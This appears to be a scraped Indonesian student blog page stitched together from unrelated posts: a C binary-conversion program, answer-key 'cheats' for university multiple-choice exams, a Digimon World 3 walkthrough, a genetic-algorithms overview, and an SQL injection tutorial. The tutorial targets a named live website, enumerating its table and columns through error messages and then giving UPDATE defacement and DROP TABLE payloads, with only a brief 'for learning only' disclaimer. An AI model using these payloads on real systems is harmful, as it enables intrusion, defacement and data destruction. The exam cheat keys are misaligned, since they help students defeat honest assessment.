konversi biner

#include
#include


int main(void) {
int dec=0,flag=0.0;
int bin, bit;
double exp=0.0;

printf("masukkan binary : ");
scanf("%d", &bin);

while(bin) {
bit=bin%10;
if (bit !=0 && bit !=1) {
flag=1;
}
bin=bin/10;
dec=dec+bit*pow(2, exp);
exp++;
}
if(flag) {printf("\n+++ Not a binary number !!! \n");}
else {printf("\n+++ Number in decimal : %d\n", dec);}
getch();
return 0;


}

cheat Tekom

A
---------------------
alfabet x
dalam pre/target/sist
faktor2 (2)
jika z
masalah2 (2)
prog (1)
proses (1)
rangkaian
regular
simbol
tool pembentuk

B
---------------------
algoritma
faktor2 (1)
flow
fungsi
grammar dmn
keluaran
kesalahan spt
masalah2 (1)
operasi2
perbedaan
prog(2)
yang termasuk (1)

C
---------------------
bentuk format
dlm deklarasi
ekspresi
grammar yg dgunakan
jika pola/sebuah
misalkan
pelanggaran
sbh kalimat
spesifikasi token
tugas (1)

D
---------------------
btk produksi
berikut ini
first
hasil eliminasi
himpunan
jika dapat/pada/x/e
misalkan A
pd teknik
proses (2)
string manakah
token
tugas (2)

Cheat Matif4

Diberikan himpunan semesta U = A
Bila n(A) = A
Diberikan relasi R = A
Fungsi invers = A
Misalkan fungsi f(x) = A
Misalkan p = A
Sifat = A
Tidak ada jawaban yang benar = A

Diberikan fungsi f(x) dan g(x) = B
Misal Lattice = B
Proposisi = B
R adalah relasi = B
Jika U = B
Misal NxN = B
Pada = B

Misal (S,*) = C
Graph = C
Jika a,b, dan c = C
Misalkan grup G = C
Jika Q = C

Himpunan G = D
Jika dinyatakan = D
Misalkan perulangan = D
Operasi biner = D
Sebuah sistim = D
Solusi = D

SPK

A
Ada (3)
Berikut ini (3)
Ciri- Ciri
Contoh
Hal- hal
Salah satu (2/3)
Yang tidak

-------------------

B
Yang tidak termasuk
Gaya
Keterlibatan
Menurut
Model
Pada Kasus Bisnis
Pemrosesan
Pendapat
Pilih (3)
Stereonf (1)
------------------

C
Dengan (3)
Jika
Keuntungan
Pusat (2)
Software
Teknik dasar
Tugas (1/2)

------------------
D
Wild chard
Ada (2)
Apakah (2)
Berikut ini adalah
Dibawah ini
Jika kita
Kelompok (2)
Komponen
Manakah
Yang bukan
Yang merupakan

--------------------
Cheat Lihat Jawaban :
A= Benar (itu jawabannya)
Jawaban ada (*) = jawablah

Cheat ISD

bagaimanakah = A
manusia sebagai homo = A
daerah (1..7) = B
pada umumnya unsur = B
pengertian kebudayaan = B
C Kluckhohn adalah = B
apa = B
apakah = B
daerah = C
konsep keadilan = C
manusia merupakan = C
adanya sistem = C
Unsur yg membgn manusia = C
nilai estetik itu = D

Cheat IBD

Aliran (1) = B
Apa/Apakah = B
Daerah n = B
C Kluckhohn = B
Daerah = C
Unsur yang membangun manusia = C
Aliran (2&3) = D

JAWABAN
A.
a, b, dan c benar semua
A dan B benar
A, B, dan C semua salah
Agama = B
Salah semua = D
Semua benar/betul = D
Semuanya salah = D

B.
A dan B benar
A dan C benar
A, B dan C benar semua
Jawaban A dan B benar
Jawaban a dan c benar
Semua benar
Semuanya salah
jawaban A, B dan C salah = D

C.
A, B dan C betul semua
Benar semua
Salah semua = D
Semua benar
Semua jawaban benar
Semua salah = D

D.
jawaban A, B dan C benar
Semua jawaban benar = B
Semua salah
Tidak ada jawaban yang benar = C

Cheat PAA

a. semua salah/tidak ada jawaban yang benar = D
b. semua salah/tidak ada jawaban yang benar = D
c. semua salah/tidak ada jawaban yang benar = D
d. semua salah/tidak ada jawaban yang benar = C

a. A,B,C salah = D
b. A,B,C salah = D
c. A,B,C salah = D
d. A,B,C salah = C

Cheat Riset Operasional

A. salah semua = B
B. salah semua = A
C. salah semua = D
D. salah semua = C

A. A,B,C salah = D
B. A,B,C salah = D
C. A,B,C salah = D
D. A,B,C salah = C

Repost walktrough DIgimon World 3

Walkthrough DMW 3
DIGIMON WORLD 3
VERSI BAHASA INDONESIA
How to Get a Folder Bag
1. Yellow Cruiser: Bicara dengan Divermon.
How to Make a Fishing Pole
1. Shell Beach: Bicara dengan pemancing bernama Tai Kong Wang.
2. Smith’s Shop: Belilah Bamboo Spear di toko Armory yang dijaga oleh Gargomon
3. Protocol Forest: Lawanlah Dokugumon sampai ia menjatuhkan Web Spider.
4. Divermon’s Lake: Turuni tangga di sebelah jembatan dan tolonglah Divermon untuk mendapatkan Red Snapper.
5. Shell Beach: Berikan 3 items itu ke Tai Kong Wang.
How to Get a Gabumon Card
1. Plug Cape: Lihatlah event anak bernama Soccer Kid Hide menendang2 pohon dengan Kicking Boots-nya untuk mencari Gabumon Card.
2. Asuka Inn: Turuni tangga di sebelah pintu masuk dan carilah Gabumon Card di sudut sebelah atas dari saat kamu menuruni tangga (gampangnya, carilah Gabumon Card di semua sudut setelah kamu turun tanga).
3. Plug Cape: Kembalikan Gabumon Card ke Soccer Kid Hide.
How to Get a Kicking Boots
1. Lamb Chop: Tanyalah pada android bernama Waitress Debbie (ada di dpn pintu msk) dimana Veemon berada.
2. Wind Prairie: Temukan Veemon di ujung Wind Prairie (tepatnya, sebelum kamu msk ke Kicking Forest).
3. Wind Prairie: Kamu akan diajak Veemon main petak umpet.
4. Kicking Forest: Masuklah ke sela-sela pohon sambil terus menekan X. Awas, kadang kamu tertipu oleh Veemon! Yang keluar dari persembunyian bukan Veemon, melainkan Agumon. Hati-hati!
How to Beat Seiryu Leader
1. Protocol Ruins: Temukan Seiryu Leader yang sedang melatih 3 digimon-nya di sana.
2. Tyranno Valley: Lawanlah MasterTyranno dan dapatkan Old Claw.
3. Seiryu City: Temukan Seiryu Leader di Seiryu Tower dan lawanlah dia.
How to Find a Blue Card
1. East Station: Tekan tombol X pada mesin di sebelah gondola. Untuk mengaktifkan gondola, kamu hrs punya Blue Card yg dimiliki oleh Guilmon.
2. Asuka Inn: Temukan Guilmon di lantai 2.
3. Forest Inn: Temukan Guilmon di sebelah Guardromon.
4. Zephyr Tower: Temukan Guilmon di sebelah Divermon.
5. East Station: Cobalah Blue Card yg kamu dapat. Ternyata itu palsu! Itu adalah 8lue Card. Bkn Blue Card.
6. Seiryu City: Bicaralah dengan Guilmon di jalanan.
7. Forest Inn BF: Temukan Tricky Guilmon di sana dan dapatkan Blue Card yang asli.
8. East Station: Pakailah Blue Card itu untuk menaiki gondola.
How to Get a Smelly Herb
1. Jungle Grave: Cobalah lawan Zanbamon di sana. Kamu tidak akan bisa dan digimon-mu akan lari dengan sendirinya.
2. Swamp Inn: Bicara dengan Gatomon.
3. Shaman House: Pergilah ke sana dan temukan Sepikmon (pemilik suara menyeramkan).
4. Bulk Swamp: Temukan Kail dan dia akan memberitahumu tentang seekor digimon dengan muka menyeramkan, yang dia pikir adalah Baronmon.
5. Seiryu City: Bicara dengan Agumon di jalanan.
6. Protocol Ruins: Temukan Baronmon.
7. Asuka Bridge: Temukan digimon aneh yang memakai topeng (Belok kanan tepat sebelum memasuki pagar Asuka City).
8. Asuka City: Temukan Etemon di depan El Dorado (tepatnya di sebelah pasangan Kakek-Nenek yang ingin jadi digimon).
9. Divermon’s Lake: Temukan pria berbaju hitam (Nick) yang ada di jalan buntu di Divermon’s Lake.
10. Asuka City: Temui lagi Etemon di dpn El Dorado.
11. Asuka Sewers: Temui Etemon di sana.
12. Shaman House: Kembalikan Sepik Mask ke Sepikmon dan dapatkan Smelly Herb.
How to Get into Admin Center
1. Suzaku City: di depan Inn, setelah kamu mengalahkan Suzaku Leader, kau akan bertemu Kail. Kail mengatakan bahwa Teddy telah hilang dan ia mengajak kamu kembali ke Asuka City untuk mencari Teddy.
2. Asuka Lobby: Akan ada pengumuman dari Game Master yang mengatakan bahwa kita tidak bisa kembali ke Real World dan ia sangat minta maaf akan hal ini. Kail juga curiga bahwa Teddy ada di dalam Admin Center.
3. Asuka City: Pergilah mencari informasi tentang cara untuk masuk ke Admin Center. (Tanyai semua orang dan digimon di Asuka City). Setelah mendapat informasi, beritahukan kepada Kail di depan Lamb Chop.
4. Asuka City: temui sepasang Agumon biru-merah muda di depan pohon yang ada di depan El Dorado.
5. Asuka Sewers: Temui orang berbaju dan bertopi hijau bernama Mischievous Mat.
6. Asuka Lobby: Kembali ke lobby dan bicaralah dengan Kail.
7. Asuka Sewers: Bicaralah dengan Mischievous Mat sekali lagi dan ia akan mengaku bahwa dirinya adalah Etemon dan memberikan Agumon Suit pada kamu dan Kail.
8. Underground Path: Temui Kail dan bicaralah dengan-nya. Kemudian, masuklah ke Admin Center dan cari Kail yang sudah masuk duluan.
How to Get The Digi-Egg of Sincerity
1. Phoenix Bay: Bicaralah dengan Nami tentang kuil di Bios Swamp.
2. Bios Swamp: Pergilah ke bagian belakang kuil dan tekan X sampai muncul suatu dialog.
3. Shaman House: Bicara dg Sepikmon.
4. Protocol Ruins: Temui Baronmon dan bicaralah dengan-nya untuk dibuatkan TNT Chip dr 20 buah TNT Ball (dpt dr melawan Triceramon di Plug Cape atau Tyranno Valley) untuk meledakkan kuil.
5. Bios Swamp: Ledakkan kuil dg TNT Chip. Masuklah dan turuni tangga utk mendapatkan Digi-Egg of Sincerity.
How to Defeat the Real Byakko Leader
1. Byakko City: Tantang dan kalahkan Byakko Leader.
2. Underground Cave: Bicaralah dengan petugas dan kemudian dengan Numemon.
3. Mirage Tower: Tantang dan kalahkan Byakko Leader yang asli.
How to Find and Defeat HiAndromon in Dum Dum Factory
1. Pertama, belok kiri dan kemudian terus ke utara.
2. Setelah melihat Numemon msk ke Duct Room 01, ikuti dia msk ke situ.
3. Keluar dr ruangan dan naiklah ke tangga yg ada di sebelahnya.
4. Belok kiri, terus ke utara, dan belok kiri lagi di perempatan kedua.
5. Pergi terus ke barat sampai kamu melihat Numemon sedang memasuki ruangan, ikuti dia lagi.
6. Keluar dr ruangan dan kembali lagi ke tangga tempat kamu naik, turuni tangga tsb.
7. Pergi ke kanan dan terus ke utara dan lihatlah Numemon msk ke Duct Room 02. Ikutilah Numemon.
8. Keluarlah dan naiki tangga yg sama lagi.
9. Pergi ke kanan dan terus ke utara sampai kamu melihat Numemon msk ke Duct Room 03, ikutilah lagi.
10. Keluar dr ruangan dan pergi ke selatan dan sampai di perempatan kedua, beloklah ke barat.
11. Pergi ke barat sampai kamu menemukan Numemon msk ke Operation Room.
12. Masuklah ke Operation Room dan kalahkan HiAndromon.
How to Defeat Datamon
1. Asuka Sewers: Bicaralah dg Datamon di Control Center. (dengan menaiki Submarimon melalui dock di sebelah kanan Asuka Bridge.
2. Dum Dum Factory: Tanya Lisa di Secret Room tentang Staff Pass.
3. Suzaku City: Tanyai Renamon tentang Nick dan Keith.
4. Suzaku UG Lake: Bicara dg Nick dan Keith.
5. Secret Room: Dapatkan Staff Pass dr Nick.
6. Asuka Sewers: Tunjukkan Staff Pass ke tempat Datamon di Control Center.
7. Sentuh lukisan yg ada di Master Room.
8. *Key Code: M O N S T E R*
How to Get into Amaterasu Server
1. Byakko City: Bicara dg Byakko Leader di Byakko Dome utk saran.
2. Byakko City: Tanyai General di Underground Cave.
3. Bulk Swamp: Bicara dg orang tua di sebelah South Station.
4. Suzaku City: Bicara dg Patamon di Suzaku Hall tentang dimanakah Suzaku Leader berada.
5. Ether Jungle: Bicara dg Animal Lover Jen tentang dimanakah Suzaku Leader.
6. Catacomb: Bicaralah dg Suzaku Leader.
How to Get The Digi-Egg of Knowledge
1. Qing Long City (Seiryu City-nya Amaterasu Server): Kalahkan Qing Long Chief utk mendptkan Blue ID Pass-nya.
2. Zhu Que City (Suzaku City-nya Amaterasu Server): Gunakan Blue ID Pass utk msk ke Zhu Que City.
3. Zhu Que City: Kalahkan Zhu Que Chief agar memberikan jalan ke Zhu Que UG Lake.
4. Zhu Que UG Lake: Jalan terus sampai menemukan Digi-Egg of Knowledge.

Cheat APP

Bobot 3 selain yg dibawah ini D:

A
diketahui sebuah matrik A
Perkalian matrik Cij
Perhatikan pseudocode
Berikut gambaran(-9)
Keterhubungan Elemen
Yang merupakan Karakter dari SIMD

B
UJIAN
Dalam algoritma
Pembentukan algoritma

C
PIPELINE(M+N-1)
Pararel x
PIPELINE yg memiliki 3 stage (8)
5 (14)
6 (17)
10 (29)
yang merupakan karakter(SIMD)

Belajar Teknik Hacking SQL Injection [Pada URL] Untuk Pemula

Pada kesempatan kali ini, saya akan mencoba menerangkan tentang serangan ke suatu website menggunakan teknik SQL Injection. Saya akan menunjukkan SQL Injection melalui URL. Pada dasarnya caranya adalah sama karena keduanya sama- sama merupakan parameter input.

Teknik untuk menemukan nama field dan table ditemukan oleh david Litcfield. Teknik yang digunakan disini adalah dengan membuat terjadinya error menggunakan perintah having 1=1

STEP 1
Oke, kita langsung masuk ke contoh nyata. Web target kita kali ini ialah :

http://www.24x7learning.com/Press_Releases/news.asp?id=57

Untuk mendapatkan nama table dan nama field pertama, ialah dengan cara memasukkan perintah dibawah ini pada browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama table = media
nama field pertama = id


STEP 2
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediadate' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama field kedua = mediadate



STEP 3
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediatitle' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama field ketiga = mediatitle


STEP 4
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediapublisher' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama field keempat= mediapublisher


STEP 5
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediapath' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama field kelima= mediapath


STEP 6
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.ishtml' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field keenam= ishtml


STEP 7
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath,media.ishtml having 1=1

Dengan perintah tersebut, maka kita tidak akan mendapatkan pesan error apapun. Artinya, bahwa pencarian field sudah selesai.


HACKING STEP....


MERUBAH DATA
Untuk merubah data, gunakanlah command SQL yaitu UPDATE. Contohnya kita akan merubah isi dari field ”mediapublisher”, perintah lengkapnya ialah :


http://www.24x7learning.com/Press_Releases/news.asp?id=57; UPDATE media set mediapublisher=’HACKER WAS HERE’ where id=57;


Sekarang Anda coba akses alamat :

http://www.24x7learning.com/Press_Releases/news.asp?id=57

Silahkan, lihat perubahannya.


MENGHAPUS TABLE
Tindakan yang paling “extreme” ialah menghapus/ drop table. Untuk melakukannya Anda bisa menggunakan comman SQL, yaitu DROP. Perintah lengkapnya ialah :


http://www.24x7learning.com/Press_Releases/news.asp?id=57; drop table
media;

End….


Artikel ini hanya untuk tujuan pembelajaran semata. Tidak pernah dibenarkan untuk melakukan kegiatan cracking kepada suatu website. Satu hal yang perlu Anda ketahui ialah dengan melakukan deface terhadap 100 website tidak akan menjadikan Anda seorang Hacker.

Pembahasan tentang Algoritma Genetik

Genetic Algorithms Overview
Version: Printer Friendly
Genetic Algorithms Overview
Michael Skinner
Introduction

Genetic algorithms are one of the best ways to solve a problem for which little is known. They are a very general algorithm and so will work well in any search space. All you need to know is what you need the solution to be able to do well, and a genetic algorithm will be able to create a high quality solution. Genetic algorithms use the principles of selection and evolution to produce several solutions to a given problem.

Genetic algorithms tend to thrive in an environment in which there is a very large set of candidate solutions and in which the search space is uneven and has many hills and valleys. True, genetic algorithms will do well in any environment, but they will be greatly outclassed by more situation specific algorithms in the simpler search spaces. Therefore you must keep in mind that genetic algorithms are not always the best choice. Sometimes they can take quite a while to run and are therefore not always feasible for real time use. They are, however, one of the most powerful methods with which to (relatively) quickly create high quality solutions to a problem. Now, before we start, I'm going to provide you with some key terms so that this article makes sense.

* Individual - Any possible solution
* Population - Group of all individuals
* Search Space - All possible solutions to the problem
* Chromosome - Blueprint for an individual
* Trait - Possible aspect of an individual
* Allele - Possible settings for a trait
* Locus - The position of a gene on the chromosome
* Genome - Collection of all chromosomes for an individual

Foundations in Science

In the mid 1800s, 1859 to be exact, a British naturalist named Charles Darwin published a book that would change the way humans view the world. In this book, The Origin of Species, Darwin proposed that humans, and in fact all creatures, were not put on this planet by God and made unchanging, but rather that they evolved from other creatures. At the time, the idea sounded preposterous, but time and time again have we discovered that he may be correct. Advances in technology have made it possible for us to read our DNA and that of other creatures, and what it has shown us is that we aren't as different from other creatures as we think. Over time, creatures change to adapt to their environment to survive and thrive.

One of the most striking examples of this is the Galapagos Islands. Located in the Pacific Ocean, off the coast of Ecuador, this series of islands is one of the most prominent examples of evolution and adaptation. The island contains many species not found anywhere else on the planet, including several species of birds that share many characteristics; too many for it to be a coincidence. It is believed that many birds were blown to the islands by winds and were unable to get back. Over time, the birds spread throughout the islands and began to change to better survive in the differing environments of the islands. Some birds developed large, strong beaks suited to cracking nuts, others long, narrow beaks more suitable for digging bugs out of wood. The birds that had these characteristics when blown to the island survived longer than other birds. This allowed them to reproduce more and therefore have more offspring that also had this unique characteristic. Those without the characteristic gradually died out from starvation. Eventually all of the birds had a type of beak that helped it survive on its island. This is the process of natural selection and evolution. The individuals themselves do not change, but those that survive better, or have a higher fitness, will survive longer and produce more offspring. This continues to happen, with the individuals becoming more suited to their environment every generation. It was this continuous improvement that inspired computer scientists, one of the most prominent being John Holland, to create genetic algorithms.
Basics of Genetic Algorithms

The most common type of genetic algorithm works like this: a population is created with a group of individuals created randomly. The individuals in the population are then evaluated. The evaluation function is provided by the programmer and gives the individuals a score based on how well they perform at the given task. Two individuals are then selected based on their fitness, the higher the fitness, the higher the chance of being selected. These individuals then "reproduce" to create one or more offspring, after which the offspring are mutated randomly. This continues until a suitable solution has been found or a certain number of generations have passed, depending on the needs of the programmer.
Selection

While there are many different types of selection, I will cover the most common type - roulette wheel selection. In roulette wheel selection, individuals are given a probability of being selected that is directly proportionate to their fitness. Two individuals are then chosen randomly based on these probabilities and produce offspring. Pseudo-code for a roulette wheel selection algorithm is shown below.

for all members of population
sum += fitness of this individual
end for

for all members of population
probability = sum of probabilities + (fitness / sum)
sum of probabilities += probability
end for

loop until new population is full
do this twice
number = Random between 0 and 1
for all members of population
if number > probability but less than next probability
then you have been selected
end for
end
create offspring
end loop

While this code is very general and will obviously not compile, it illustrates the basic structure of a selection algorithm. Besides, you should write the code yourself, you learn better that way.
Crossover

So now you have selected your individuals, and you know that you are supposed to somehow produce offspring with them, but how should you go about doing it? The most common solution is something called crossover, and while there are many different kinds of crossover, the most common type is single point crossover. In single point crossover, you choose a locus at which you swap the remaining alleles from on parent to the other. This is complex and is best understood visually.

As you can see, the children take one section of the chromosome from each parent. The point at which the chromosome is broken depends on the randomly selected crossover point. This particular method is called single point crossover because only one crossover point exists. Sometimes only child 1 or child 2 is created, but oftentimes both offspring are created and put into the new population. Crossover does not always occur, however. Sometimes, based on a set probability, no crossover occurs and the parents are copied directly to the new population. The probability of crossover occurring is usually 60% to 70%.
Mutation

After selection and crossover, you now have a new population full of individuals. Some are directly copied, and others are produced by crossover. In order to ensure that the individuals are not all exactly the same, you allow for a small chance of mutation. You loop through all the alleles of all the individuals, and if that allele is selected for mutation, you can either change it by a small amount or replace it with a new value. The probability of mutation is usually between 1 and 2 tenths of a percent. A visual for mutation is shown below.

As you can easily see, mutation is fairly simple. You just change the selected alleles based on what you feel is necessary and move on. Mutation is, however, vital to ensuring genetic diversity within the population.
Applications

Genetic algorithms are a very effective way of quickly finding a reasonable solution to a complex problem. Granted they aren't instantaneous, or even close, but they do an excellent job of searching through a large and complex search space. Genetic algorithms are most effective in a search space for which little is known. You may know exactly what you want a solution to do but have no idea how you want it to go about doing it. This is where genetic algorithms thrive. They produce solutions that solve the problem in ways you may never have even considered. Then again, they can also produce solutions that only work within the test environment and flounder once you try to use them in the real world. Put simply: use genetic algorithms for everything you cannot easily do with another algorithm.
Last Words

So, now you understand the basics of genetic algorithms.

disini kita dapat melihat keunggulan algoritma genetika yaitu :

Jenis paling umum dari algoritma genetika bekerja seperti ini: populasi dibuat dengan sekelompok individu diciptakan secara acak. Individu dalam populasi ini kemudian dievaluasi. Fungsi evaluasi yang disediakan oleh programmer dan memberikan skor individu berdasarkan seberapa baik mereka tampil di tugas yang diberikan. Dua orang ini kemudian dipilih berdasarkan fitness mereka, semakin tinggi kebugaran, semakin tinggi kemungkinan yang dipilih. Orang-orang ini kemudian "mereproduksi" untuk membuat satu atau lebih anak, setelah anak adalah bermutasi secara acak. Ini terus sampai solusi yang cocok telah ditemukan atau sejumlah tertentu generasi telah berlalu, tergantung pada kebutuhan programmer.

kemudian kita akan melihat keunggulannya dalam mengerjakan pertahap kita akan banyak mendapatkan kemudahan dalam perhitungan dengan mendapatkan data yang sangat akurat
Karena akusenangselalu.blogspot.com tidak dapat dipakai maka posting untuk softskill kali ini saya taruh pada blog ini

Cheat Otomata

klo yg ini blom gw coba
ekspresi regular -- c
dalam deviasi --- a
mesin stata hingga ( dng output ) --- d
mesin stata hingga --- a
himpunan produksi --- b
gramer soal (aabb) -- b
gramer soal (m>n) -- c
tata bahasa -- d
bentuk noprmal chomsky -- d

Cheat AP3

dicoba dulu pke simulasi yah...
ambil aja yg mnurut lo sering keluar
AP3 (Ujian Negara)

Jawaban A
Entry = A (pasti)
Fungsi fungsi = A (pasti)
Cobol = A (pasti)
Sistem = A (pasti)
Struktur program = A (pasti)
Suatu kelas = A (pasti)
Sesuatu = A (pasti)
Informasi = A (pasti)
Penjelasan = A (pasti)
Perintah pengerjaan = A (pasti)
Perhatikan pernyataan = A (pasti)
Bagian = A (pasti)
kumpulan = A (pasti)
Penentu kelas = A (pasti)
Output = A (pasti)
Judul = A (pasti)

Jawaban B
Kelompok variable = B (pasti)
WRITE = B (pasti)
REDEFINES = B (pasti)
Bila data = B (pasti)
Perintah : DIVIDE = B (pasti)
Klausa = B (pasti)
pencetakan = B (pasti)
organisasi = B (pasti)
Level number = B (pasti bobot2,3)
Data = B (pasti bobot2,3)
Hasil dari = B (bobot2)
Berikut ini adalah = B (bobot3)
Karakter Escape = B (boot2)

Jawaban C
Pesan = C (pasti)
Bentuk umum = C (pasti)
Pernyataan START = C (pasti)
jika program = C (pasti)
Jika terdapat kondisi = C (pasti)
acces = C (pasti)
Apakah output = C (pasti bobot2,3)
perhatikan cuplikan = C (pasti)
PROCEDURE = C (pasti)
Perintah yang boleh = C (pasti)
Tipe makro = C (pasti)
Bagaimana = C (pasti)

Jawaban D
Nama kondisi = D (pasti)
nama data = D (pasti)
fungsi input = D (pasti bobot2)
fungsi output = D (pasti)
perintah untuk = D (pasti)
Kolom = D (pasti bobot2)
Jika X=123 = D (pasti)
Perhatikan program berikut. #include = D (pasti)

Cheat Sistem Operasi

pengolah = A bobot 1
Setelah relokasi = A (Y = X+P-A)
penjadwalah prosesor = A bobot 1
Di dalam = A bobot 1
proses A dan B = B
Proses penerjemah = B
Escape = C bobot 1
penentu = C
Tujuan = C
Tentukan hasil = C
Tanda ' = c
Sistem Operasi adalah = C
Statement = D
Data sebagai = D



--------------------------------

jika jawaban A adalah :
19xx = B
Alamat awal tabel suku = A
Arithmatic assignment operator = C
Asosiatif = A
Bahasa Tingkat = B
Batch multiprograming = C
C = A
Compiler = B
Diberi = A
Di capai = A
Dinamik = A (yg soalnya pemuatan)
Halaman = C
internal = D
kelas = C
Melaksanakan = A
Paralel = B
Proses A = A
Proses Di bagian belakang = A
Relokasi = D
Run = C
Satuan = A
Semua benar = D
Semua salah = D
Sistem prosesor = A
Waktu = A ... waktu doank

Cheat Matif4

bila n(A)=2 -> A
himp. semesta -> A
relasi R={(1,a)..) -> A
fgs invers dr f(x)=... -> A
himp G=(1,2,3,4,5,6) -> D
jk N adl bil bulat pos -> C
jika Q adlh... -> C
jika smua angka dr 0-1000 -> D
Lattice D10/D20 -> B
misal N x N -> B
misal fgs f(x)=(1,2,3,4) -> A
misal grup G=(1,2,3,4) -> C
udara panas -> A
udara dingin -> C
msl p'ulangan tdk dprblhkn-> D
proposisi -> B
R adlh relasi pd A=... -> B
sbh sist. aljabar -> D
solusi dr relasi.... -> D
verteks -> C
graph -> C


Bobot 3 : preposisi, jawab B
Bobot 3 : solusi, jawab D
Bobot 2 : relasi, jawab A
Bobot 3 : relasi, jawab B

Jika ada kata “Rekursif” dalam kalimat pertanyaan (Bobot 1,2,3,4), jawab A
Contoh kalimat : Solusi relasi rekursif …., Relasi rekursif ……, ….. rekursif ….

Jika ada kata “Operasi” dalam kalimat pertanyaan (Bobot 1,2,3,4), jawab B
Contoh kalimat : * adalah operasi ……., + adalah operasi …..

Cheat Simulasi dan Permodelan

SIMULASI DAN PERMODELAN

A
BAHASA
DIKET PEMBANGKIT
DIK PELEMPARAN DADU
JIKA DIK PROBABILITAS
JIKA DIK VARIABEL ACAK

B
APA ITU
DALAM TIPE MODEL

C
BOBOT 3 SOAL LEBIH DARI 8 BARIS
JIKA DIKETAHUI IDENTITAS
JIKA DIKETAHUI FUNGSI
SEBUAH

D
BOBOT 2 SOAL BARIS 5
DARI PEMBANGKIT
DIKET RUMUS
DIKET VARIABEL ACAK
DIKET REKURSIF
DIK :
MIS X

RPL1

Kode Soal : KK045314

tabel fungsi, jml baris = A
pemograman (3) = A
evaluasi (3) = A

ABC Benar
bobot 3 =B
dijawaban D, abc salah = C
1.code oriented tools =A
mana yg bukan =A
ada 4 orang =A
clasik life cycle =B
dibwh ini merupakan ciri =B
jika eror =B
jika kesalahan =B
berikut ini diagram DAM =B
untuk sebuah =C
perhatikan =c
produktifitas =c
ciri yg menonjol =c
tahap =c
kegiatan2 =D
yg termasuk =D
yg perlu diperhatikan =D
berikut ini adalah/contoh =D
berikut ini yg merupakan / termasuk =D
tabel =D

dari keempat (3) =C
D. jawab A & B benar =D
A. ABC benar =D
realtime =B
translator =B

Cheat Pemrograman Berbasis Objek

Ini cheat yang paling gampang

klo di pertanyaan ada PASCAL atau BASIC jawaban A
klo COBOL jawaban B

ini g usah belajar beli vocer langsung ujian 5 menit kelar dgn muka bahagia
hehe....

Cheat AP1

Kode Soal : KD045412.MDB
outputnya bobot 2/3 = b
hasil program dibawah ini bobot 2/3 = d
hasil dari program berikut adalah bobot 3/1 = a
bobot 2 = c
perhatikan program berikut bobot 2/3 = b
apakah hasil program berikut bobot 2 = c

gw dulu pke cheat yang ini
lo coba aja pke database yg lo punya

Cheat Fisika Kimia Dasar

Kode Soal : KD013210.MDB

besar kuat medan magnet = A
dua buah kapasitor = A
kapasitor dengan = A
menurut kaidah = A
pada suatu = A
diketahui = A


pd sumbu = B
berapa besar = B
massa = B
tv = B
dua bola penghantar = B
satu = B
tentukan besar = B
andaikan = B
atom hidrogen = B
hitung (lah) = B
inti atom/helium = B
berapakah besar (2&3) = B



(1) = C
apabila = C
dua buah resistor = C
empat bh hambatan = C
jika F1,2 = C
kawat(1&2) = C
hambatan kawat = c
baterai n volt = C
benda yg mempunyai = C
bola/bujursangkar = C



1 = D
bahan = D
Kumparan/lampu = D
satuan dr = D
alat listrik = D
bahan = D
Sepotong kawat panjang = D

Membahas Artikel APPLIED TO ROBOT NAVIGATION CONTROLLER OPTIMIZATION

Algoritma genetika
APPLIED TO ROBOT NAVIGATION CONTROLLER OPTIMIZATION


